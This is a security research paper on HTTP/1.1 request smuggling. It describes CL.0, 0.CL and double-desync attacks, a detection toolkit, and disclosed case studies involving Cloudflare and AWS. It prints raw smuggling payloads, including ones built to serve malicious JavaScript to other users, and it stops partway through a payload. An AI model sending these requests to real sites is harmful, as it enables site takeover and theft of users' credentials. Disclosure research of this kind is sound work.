HTTP/1.1 must die: the desync endgame James Kettle Director of Research @albinowax Published: 06 August 2025 at 22:20 UTC Updated: 12 August 2025 at 09:50 UTC Abstract Upstream HTTP/1.1 is inherently insecure and regularly exposes millions of websites to hostile takeover. Six years of attempted mitigations have hidden the issue, but failed to fix it. This paper introduces several novel classes of HTTP desync attack capable of mass compromise of user credentials. These techniques are demonstrated through detailed case studies, including critical vulnerabilities which exposed tens of millions of websites by subverting core infrastructure within Akamai, Cloudflare, and Netlify. I also introduce an open-source toolkit that enables systematic detection of parser discrepancies and target-specific weak spots. Combined, this toolkit and these techniques yielded over $200,000 in bug bounties in a two-week period. Ultimately, I argue that HTTP request smuggling must be recognized as a fundamental protocol flaw. The past six years have demonstrated that addressing individual implementation issues will never eliminate this threat. Although my findings have been reported and patched, websites remain silently vulnerable to inevitable future variants. These all stem from a fatal flaw in HTTP/1.1 which means that minor implementation bugs frequently trigger severe security consequences. HTTP/2+ solves this threat. If we want a secure web, HTTP/1.1 must die. Please note you can find a summary and FAQ aimed at a broader audience at http1mustdie.com. Table of contents HTTP/1.1 has a fatal, highly-exploitable flaw - the boundaries between individual HTTP requests are very weak. Requests are simply concatenated on the underlying TCP/TLS socket with no delimiters, and there are multiple ways to specify their length. This means attackers can create extreme ambiguity about where one request ends and the next request starts. Major websites often use reverse proxies, which funnel requests from different users down a shared connection pool to the back-end server. This means that an attacker who finds the tiniest parser discrepancy in the server chain can cause a desync, apply a malicious prefix to other users' requests, and usually achieve complete site takeover: As HTTP/1.1 is an ancient, lenient, text-based protocol with thousands of implementations, finding parser discrepancies is not hard. When I first discovered this threat in 2019, it felt like you could hack anything. For example, I showed it could be exploited to compromise PayPal's login page, twice. Since then, we have also published a free online course on request smuggling and multiple further research papers. If you get lost in any technical details later on, it may be useful to refer back to these. Six years later, it's easy to think we've solved the problem, with a combination of parser tightening and HTTP/2 - a binary protocol that pretty much eliminates the entire attack class if it's used for the upstream connections from the front-end onwards. Unfortunately, it turns out all we've managed to do is make the problem look solved. In 2025, HTTP/1.1 is everywhere - but not necessarily in plain sight. Servers and CDNs often claim to support HTTP/2, but actually downgrade incoming HTTP/2 requests to HTTP/1.1 for transmission to the back-end system, thereby losing most of the security benefits. Downgrading incoming HTTP/2 messages is even more dangerous than using HTTP/1.1 end to end, as it introduces a fourth way to specify the length of a message. In this paper, we'll use the following acronyms for the four major length interpretations: CL (Content-Length) TE (Transfer-Encoding) 0 (Implicit-zero) H2 (HTTP/2's built-in length) HTTP/1.1 may look secure at first glance because if you apply the original request smuggling methodology and toolkit, you'll have a hard time causing a desync. But why is that? Let's take a look at a classic CL.TE attack using a lightly obfuscated Transfer-Encoding header. In this attack, we are hoping that the front-end server parses the request using the Content-Length header, then forwards the request to a back-end which, calculates the length using the Transfer-Encoding header. POST / HTTP/1.1 Host: Transfer-Encoding : chunked Content-length: 35 0 GET /robots.txt HTTP/1.1 X: y HTTP/1.1 200 OK Here's the simulated victim: GET / HTTP/1.1 Host: example.com HTTP/1.1 200 OK Disallow: / This used to work on a vast number of websites. These days, the probe will probably fail even if your target is actually vulnerable, for one of three reasons: WAFs now use regexes to detect and block requests with an obfuscated Transfer-Encoding header, or potential HTTP requests in the body. The /robots.txt detection gadget doesn't work on your particular target. There's a server-side race condition which makes this technique highly unreliable on certain targets. The alternative, timeout-based detection strategy discussed in my previous research is also heavily fingerprinted and blocked by WAFs. This has created the desync endgame - you've got the illusion of security thanks to toy mitigations and selective hardening that only serves to break the established detection methodology. Everything looks secure until you make the tiniest change. In truth, HTTP/1.1 implementations are so densely packed with critical vulnerabilities, you can literally find them by mistake. HTTP/1.1 is simply not fit for a world where we solve every problem by adding another layer. The following case-study illustrates this beautifully. Wannes Verwimp asked for my thoughts on an issue he'd discovered affecting a site hosted on Heroku, behind Cloudflare. He'd found an H2.0 desync and was able to exploit it to redirect visitors to his own website. GET /assets/icon.png HTTP/2 Host: GET /assets HTTP/1.1 Host: psres.net X: y HTTP/2 200 OK Cf-Cache-Status: HIT GET / HTTP/2 Host: HTTP/2 302 Found Location: https://psres.net/assets/ This redirect was getting saved in Cloudflare's cache, so by poisoning the cache entry for a JavaScript file, he was able to take persistent control of the entire website. This was all unremarkable except for one thing - the users being hijacked weren't trying to access the target website. The attack was actually compromising random third party sites, including certain banks! I agreed to investigate and noticed something else strange - the attack was blocked by Cloudflare's front-end cache, meaning the request would never reach the back-end server. I reasoned that there was no way this attack could possibly work and Wannes must have made a mistake, so I added a cache-buster... and the attack failed. When I removed the cache-buster, it started working. By ignoring the fact his attack was being blocked by a cache, Wannes had discovered a HTTP/1.1 desync internal to Cloudflare's infrastructure: This finding exposed over 24,000,000 websites to complete site takeover! It embodies the desync endgame - the classic methodology doesn't work, but the systems built on HTTP/1 are so complex and critical that you can make one mistake and end up with control over 24 million websites. We reported this issue, and Cloudflare patched it within hours, published a post-mortem and awarded a $7,000 bounty. Readers unfamiliar with bug bounty hunting may find themselves surprised by the bounties paid relative to the impact throughout this whitepaper, but most bounties received were close to the maximum payout advertised by the respective program. Bounty size is an artefact of the underlying economics and any genuinely surprising bounty experiences will be highlighted. How does a bug like that happen? Partly, it's the sheer complexity of the systems involved. For example, we can infer that requests sent to Cloudflare over HTTP/2 are sometimes rewritten to HTTP/1.1 for internal use, then rewritten again to HTTP/2 for the upstream connection! However, the underlying problem is the foundation. There's a widespread, dangerous misconception that HTTP/1.1 is a robust foundation suitable for any system you might build. In particular, people who haven't implemented a reverse-proxy often argue that HTTP/1.1 is simple, and therefore secure. The moment you attempt to proxy HTTP/1.1, it becomes a lot less simple. To illustrate this, here are five lies that I personally used to believe - each of which will be critical to a real-world exploit discussed later in this paper Lie 1: An HTTP/1.1 request can't directly target an intermediary Lie 2: An HTTP/1.1 desync can only be caused by a parser discrepancy Lie 3: An HTTP/1.1 response contains everything a proxy needs to parse it Lie 4: An HTTP/1.1 response can only contain one header block Lie 5: A complete HTTP/1.1 response requires a complete request Which ones did you believe? Can you map each statement to the feature that undermines it? Taken together, the reality behind the last three lies is that your proxy needs a reference to the request object just to read the correct number of response bytes off the TCP socket from the back-end, and you need control-flow branches to handle multiple header blocks even before you even reach the response body, and the entire response may arrive before the client has even finished sending you the request. This is HTTP/1.1 - it's the foundation of the web, full of complexities and gotchas that routinely expose millions of websites, and we've spent six years failing to patch implementations to compensate for it. It needs to die. To achieve that, we need to collectively show the world that HTTP/1.1 is insecure - in particular, that more desync attacks are always coming. In the rest of this paper, I hope to show you how to do that. All case-studies were identified through authorized testing on targets with vulnerability disclosure programs (VDPs), and have been privately reported and patched (unless mentioned otherwise). As a side effect of VDP terms and conditions, many of them are partially redacted, even though the issues are actually patched. Where a company is explicitly named, this is an indication that they have a more mature security program. All bounties earned during this research were split equally between everyone involved, and my cut was doubled by PortSwigger then donated to a local charity. In the desync endgame, detecting vulnerabilities is difficult due to mitigations, complexity, and quirks. To thrive in this environment, we need a detection strategy that reliably identifies the underlying flaws that make desync attacks possible, rather than attempting brittle attacks with many moving parts. This will set us up to recognize and overcome exploitation challenges. Back in 2021, Daniel Thacher presented Practical HTTP Header Smuggling at Black Hat Europe, and described an approach for detecting parser discrepancies using the Content-Length header. I liked the concept so much that after I tried his tool out, I decided to try building my own implementation from scratch, do things slightly differently, and see what happened. This tool proved highly effective, and I'm pleased to release it in the open-source Burp Suite extension HTTP Request Smuggler v3.0. Here's a high-level overview of the three key elements used for analysis, and the possible outcomes: Let's take a look at real detection, and how to interpret it: GET / HTTP.1.1 Host: HTTP/1.1 200 OK Xost: HTTP/1.1 503 Service Unavailable Host: HTTP/1.1 400 Bad Request Xost: HTTP/1.1 503 Service Unavailable Here, HTTP Request Smuggler has detected that sending a request with a partially-hidden Host header causes a unique response that can't be triggered by sending a normal Host header, or by omitting the header entirely, or by sending an arbitrary masked header. This is strong evidence that there's a parser discrepancy in the server chain used by the target. If we assume there's a front-end and a back-end, there's two key possibilities: Visible-Hidden (V-H): The masked Host header is visible to the front-end, but hidden from the back-end Hidden-Visible (H-V): The masked Host header is hidden from the front-end, but visible to the back-end You can often distinguish between V-H and H-V discrepancies by paying close attention to the responses, and guessing whether they originated from a front-end or back-end. Note that the specific status codes are not relevant, and can sometimes be confusing. All that matters is that they're different. This finding turned out to be a V-H discrepancy. Given a V-H discrepancy, you could attempt a TE.CL exploit by hiding the Transfer-Encoding header from the back-end, or try a CL.0 exploit by hiding the Content-Length header. I highly recommend using CL.0 wherever possible as it's much less likely to get blocked by a WAF. On many V-H targets, including the one above, exploitation was simple: GET /style.css HTTP/1.1 Host: Foo: bar Content-Length: 23 GET /404 HTTP/1.1 X: y HTTP/1.1 200 OK GET / HTTP/1.1 Host: HTTP/1.1 404 Not Found On a different target, the above exploit failed because the front-end server was rejecting GET requests that contained a body. I was able to work around this simply by switching the method to OPTIONS. It's the ability to spot and work around barriers like this that makes scanning for parser-discrepancies so useful. I didn't invest any time in crafting a fully weaponized PoC on this target, as it's not economical for low-paid bounty programs and VDPs. By combining different headers, permutations, and strategies, the tool achieves superior coverage. For example, here's a discovery made using the same header (Host), and the same permutation (leading space before header name), but a different strategy (duplicate Host with invalid value): POST /js/jquery.min.js Host: Host: x/x HTTP/1.1 400 Bad Request Xost: x/x HTTP/1.1 412 Precondition Failed Host: x/x HTTP/1.1 200 OK Xost: x/x HTTP/1.1 412 Precondition Failed This target was once again straightforward to exploit using a CL.0 desync. In my experience, web VPNs often have flawed HTTP implementations and I would strongly advise against placing one behind any kind of reverse proxy. The discrepancy-detection approach can also identify servers that deviate from accepted parsing conventions and are, therefore, likely to be vulnerable if placed behind a reverse proxy. For example, scanning a server revealed that they don't treat as terminating the header block: POST / HTTP/1.1\r Content-Length: 22\r A: B\r Expect: 100-continue\r HTTP/1.1 100 Continue HTTP/1.1 302 Found Server: This is harmless for direct access, but RFC-9112 states "a recipient MAY recognize a single LF as a line terminator". Behind such a front-end, this would be exploitable. This vulnerability was traced back to the underlying HTTP library, and a patch is on the way. Reporting theoretical findings like these is unlikely to net you sizeable bug bounty payouts, but could potentially do quite a lot to make the ecosystem more secure. HTTP Request Smuggler also identified a large number of vulnerable systems using Microsoft IIS behind AWS Application Load Balancer (ALB). This is useful to understand because AWS isn't planning to patch it. The detection typically shows up like: Host: foo/bar 400, Server; awselb/2.0 Xost: foo/bar 200, -no server header- Host : foo/bar 400, Server: Microsoft-HTTPAPI/2.0 Xost : foo/bar 200, -no server header- As you can infer from the server banners, this is a H-V discrepancy: when the malformed Host header is obfuscated, ALB doesn't see it and passes the request through to the back-end server. The classic way to exploit a H-V discrepancy is with a CL.TE desync, as the Transfer-Encoding header usually takes precedence over the Content-Length, but this gets blocked by AWS' Desync Guardian. I decided to shelve the issue to focus on other findings, then Thomas Stacey independently discovered it, and bypassed Desync Guardian using an H2.TE desync. Even with the H2.TE bypass fixed, attackers can still exploit this to smuggle headers, enabling IP-spoofing and sometimes complete authentication bypass. I reported this issue to AWS, and it emerged that they were already aware but chose not to patch it because they don't want to break compatibility with ancient HTTP/1 clients sending malformed requests. You can patch it yourself by changing two settings: Set routing.http.drop_invalid_header_fields.enabled Set routing.http.desync_mitigation_mode = strictest This unfixed finding exposes an overlooked danger of cloud proxies: adopting them imports another company's technical debt directly into your own security posture. The next major breakthrough in this research came when I discovered a H-V discrepancy on a certain website which blocks all requests containing Transfer-Encoding, making CL.TE attacks impossible. There was only one way forward with this: a 0.CL desync attack. 0.CL desync attacks are widely regarded as unexploitable. To understand why, consider what happens when you send the following attack to a target with a H-V parser discrepancy: GET /Logon HTTP/1.1 Host: Content-Length: 7 GET /404 HTTP/1.1 X: Y The front-end doesn't see the Content-Length header, so it will regard the orange payload as the start of a second request. This means it buffers the orange payload, and only forwards the header-block to the back-end: GET /Logon HTTP/1.1 Host: Content-Length: 7 HTTP/1.1 504 Gateway Timeout The back end does see the Content-Length header, so it will wait for the body to arrive. Meanwhile, the front-end will wait for the back-end to reply. Eventually, one of the servers will time out and reset the connection, breaking the attack. In essence, 0.CL desync attacks usually result in an upstream connection deadlock. Prior to this research, I spent two years exploring race conditions and timing attacks. In the process, I stumbled on a solution for the 0.CL deadlock. Whenever I tried to use the single-packet attack on a static file on a target running nginx, nginx would break my timing measurement by responding to the request before it was complete. This required a convoluted workaround at the time, but hinted at a way to make 0.CL exploitable. The key to escaping the 0.CL deadlock is to find an early-response gadget: a way to make the back-end server respond to a request without waiting for the body to arrive. This is straightforward on nginx, but my target was running IIS, and the static file trick didn't work there. So, how can we persuade IIS to respond to a request without waiting for the body to arrive? Let's take a look at my favourite piece of Windows documentation: Do not use the following reserved names for the name of a file: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7... If you try to access a file or folder using a reserved name, the operating system will throw an exception for amusing legacy reasons. We can make a server hit this quirk simply by requesting 'con' inside any folder that's mapped to the filesystem. I found that if I hit /con on the target website, IIS would respond without waiting for the body to arrive, and helpfully leave the connection open. When combined with the CL.0 desync, this would result in it interpreting the start of the second request as the body of the first request, triggering a 400 Bad Request response. Here's the view from the user's perspective: GET /con HTTP/1.1 Host: Content-Length: 7 HTTP/1.1 200 OK GET / HTTP/1.1 Host: HTTP/1.1 400 Bad Request And the view on the back-end connection: GET /con HTTP/1.1 Host: Content-Length: 7 GET / H TTP/1.1 Host: I've known about the /con quirk for over ten years but this was the first time I've been able to actually make use of it! Also, over the last six years, I've seen so many suspicious 'Bad request' responses, I actually made HTTP Request Smuggler report them with the cryptic title Mystery 400. This was the moment when I realised they were probably all exploitable. On other servers, I found server-level redirects operated as early-response gadgets. However, I never found a viable gadget for Apache; they're too studious about closing the connection when they hit an error condition. To prove you've found a 0.CL desync, the next step is to trigger a controllable response. After the attack request, send a 'victim' request containing a second path nested inside the header block: GET /con HTTP/1.1 Host: Content-Length: 20 HTTP/1.1 200 OK GET / HTTP/1.1 X: y GET /wrtz HTTP/1.1 Host: HTTP/1.1 302 Found Location: /Logon?ReturnUrl=%2fwrtz If you set the Content-Length of the first request correctly, it will slice the initial bytes off the victim request, and you'll see a response indicating that the hidden request line got processed. This is sufficient to prove there's a 0.CL desync, but it's obviously not a realistic attack - we can't assume our victim will include a payload inside their own request! We need a way to add our payload to the victim's request. We need to convert our 0.CL into a CL.0. To convert 0.CL into CL.0, we need a double-desync! This is a multi-stage attack where the attacker uses a sequence of two requests to set the trap for the victim: The first request poisons the connection with a 0.CL desync The poisoned connection weaponises the second request into a CL.0 desync, which then repoisons the connection with a malicious prefix The malicious prefix then poisons the victim's request, causing a harmful response The cleanest way to achieve this would be to have the 0.CL cut the entire header block off the first request: POST /nul HTTP/1.1 Content-length: 163 POST / HTTP/1.1 Content-Length: 111 GET / HTTP/1.1 Host: GET /wrtz HTTP/1.1 Foo: bar Unfortunately, this is not as easy as it looks. You need to know the exact size of the second request header block, and virtually all front-end servers append extra headers. On the back-end, the request sequence above ends up looking like: POST /nul HTTP/1.1 Content-length: 163 GET / HTTP/1.1 Content-Length: 111 ??????: ??? ???????? --connection terminated-- You can discover the length of the injected headers using the new 0cl-find-offset script for Turbo Intruder, but these often contain things like the client IP, which means the attack works for you but breaks when someone else tries to replicate it. This makes bug bounty triage painful. After a lot of pain, I discovered a better way. Most servers insert headers at the end of the header block, not at the start. So, if our smuggled request starts before that, the attack will work reliably! Here's an example that uses an input reflection to reveal the inserted header: POST /nul HTTP/1.1 Content-length: 92 HTTP/1.1 200 OK GET /z HTTP/1.1 Content-Length: 180 Foo: GET /y HTTP/1.1 ???: ???? // front-end header lands here POST /index.asp HTTP/1.1 Content-Length: 201 =zwrt HTTP/1.1 200 OK GET / HTTP/1.1 Host: Invalid input zwrtGET / HTTP/1.1 Host: Connection:keep-alive Accept-Encoding:identity From this point, we can use traditional CL.0 exploit techniques. On this target, I used the HEAD technique to serve malicious JavaScript to random users: POST /nul HTTP/1.1 Host: Content-length: 44 HTTP/1.1 200 OK GET /aa HTTP/1.1 Content-Length: 150 Foo: GET /bb HTTP/1.1 Host: HEAD /index.asp HTTP/1.1 Host: GET /?